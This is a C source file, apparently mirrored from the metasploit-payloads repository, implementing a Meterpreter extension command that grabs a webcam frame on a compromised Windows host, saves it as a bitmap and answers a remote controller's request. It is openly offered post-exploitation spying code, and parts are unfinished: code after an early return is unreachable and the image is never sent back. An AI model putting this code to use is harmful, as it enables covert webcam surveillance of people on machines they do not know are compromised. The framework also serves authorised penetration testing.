mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-22 03:19:04 +01:00
127 lines
2.9 KiB
C
Executable File
127 lines
2.9 KiB
C
Executable File
#define _CRT_SECURE_NO_DEPRECATE 1
|
|
#include "../../common/common.h"
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
#include <psapi.h>
|
|
#include <tchar.h>
|
|
#include <ntsecapi.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <malloc.h>
|
|
#include <vfw.h>
|
|
#include "espia.h"
|
|
|
|
#pragma comment(lib, "vfw32.lib")
|
|
|
|
#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
|
|
|
|
BOOL capWebCam(char *szFile, int nIndex, int nX, int nY, int nMsg)
|
|
{
|
|
HWND hWndCap = capCreateCaptureWindow(NULL, WS_CHILD , 0, 0, nX, nY, GetDesktopWindow(), 0);
|
|
|
|
|
|
if(!hWndCap) return FALSE;
|
|
|
|
capDlgVideoSource(hWndCap);
|
|
|
|
SetWindowLong(hWndCap,GWL_EXSTYLE,GetWindowLong(hWndCap,GWL_EXSTYLE));
|
|
ShowWindow(hWndCap,TRUE);
|
|
capSendMessage(hWndCap, WM_CAP_DRIVER_DISCONNECT, 0, 0);
|
|
capSendMessage(hWndCap, WM_CAP_DRIVER_CONNECT, 0, 0);
|
|
capSendMessage(hWndCap, WM_CAP_SET_SCALE, TRUE, 0);
|
|
capSendMessage(hWndCap, WM_CAP_SET_PREVIEWRATE, 1, 0);
|
|
capSendMessage(hWndCap, WM_CAP_SET_PREVIEW, TRUE, 0);
|
|
capSendMessage(hWndCap, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0);
|
|
capSendMessage(hWndCap, WM_CAP_FILE_SAVEDIB, 0, szFile);
|
|
DestroyWindow(hWndCap);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
int GetCamIndex()
|
|
{
|
|
int wIndex;
|
|
char szDeviceName[80];
|
|
char szDeviceVersion[80];
|
|
|
|
for (wIndex = 0; wIndex < 9; wIndex++){
|
|
if (capGetDriverDescription(wIndex, szDeviceName,sizeof (szDeviceName),szDeviceVersion, sizeof(szDeviceVersion)))
|
|
return wIndex;
|
|
}
|
|
return -1;
|
|
}
|
|
|
|
char *StringCombine(char *string1, char *string2) {
|
|
|
|
if (string2 == NULL) { // nothing to append
|
|
return string1;
|
|
}
|
|
|
|
if (string1 == NULL) { // create a new string
|
|
string1 = (char *)malloc(strlen(string2) + 1);
|
|
strncpy(string1, string2, strlen(string2) + 1);
|
|
} else { // append data to the string
|
|
string1 = (char *)realloc(string1, strlen(string1) + strlen(string2) + 1);
|
|
string1 = strncat(string1, string2, strlen(string2) + 1);
|
|
}
|
|
|
|
return string1;
|
|
}
|
|
|
|
int __declspec(dllexport) controlcam(char **imageresults) {
|
|
DWORD dwError = 0;
|
|
char *imagestring = NULL;
|
|
|
|
/* METERPRETER CODE */
|
|
// char buffer[100];
|
|
/* END METERPRETER CODE */
|
|
|
|
///////////////////
|
|
int nIndex;
|
|
|
|
nIndex= GetCamIndex();
|
|
if(nIndex == -1){
|
|
return nIndex;
|
|
}
|
|
capWebCam("C:\\test.bmp", nIndex, 640, 480, 10);
|
|
return 0;
|
|
////////////////////
|
|
|
|
|
|
/* return hashresults */
|
|
*imageresults = imagestring;
|
|
|
|
/* return the correct code */
|
|
return dwError;
|
|
}
|
|
|
|
|
|
/*
|
|
* Grabs the Webcam Image.
|
|
*/
|
|
DWORD request_video_get_dev_image(Remote *remote, Packet *packet)
|
|
{
|
|
Packet *response = packet_create_response(packet);
|
|
DWORD res = ERROR_SUCCESS;
|
|
char *image = NULL;
|
|
|
|
do
|
|
{
|
|
if (controlcam(&image))
|
|
{
|
|
res = GetLastError();
|
|
break;
|
|
}
|
|
|
|
//packet_add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image);
|
|
|
|
} while (0);
|
|
|
|
packet_transmit_response(res, remote, response);
|
|
|
|
if (image)
|
|
free(image);
|
|
|
|
return res;
|
|
} |